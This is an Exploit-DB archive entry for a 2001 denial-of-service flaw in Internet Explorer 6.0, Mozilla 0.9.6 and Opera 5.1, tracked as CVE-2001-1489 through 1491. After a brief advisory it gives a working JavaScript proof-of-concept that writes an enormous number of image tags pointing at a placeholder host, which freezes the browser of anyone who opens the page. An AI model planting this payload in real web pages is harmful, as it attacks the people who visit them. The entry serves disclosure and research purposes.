Microsoft Internet Explorer 6.0,Mozilla 0.9.6,Opera 5.1 Image Count Denial of Service Vulnerability

2001-12-11T00:00:00
ID EDB-ID:21181
Type exploitdb
Reporter Pavel Titov
Modified 2001-12-11T00:00:00

Description

MS IE 6.0,Mozilla 0.9.6,Opera 5.1 Image Count Denial of Service Vulnerability. CVE-2001-1489,CVE-2001-1490,CVE-2001-1491. Dos exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/3684/info

An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.

An unusually high image count may cause a denial of services to users who view the webpage containing the offending image.

Malicious webmasters may construct webpages which exploit this vulnerability. 

<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>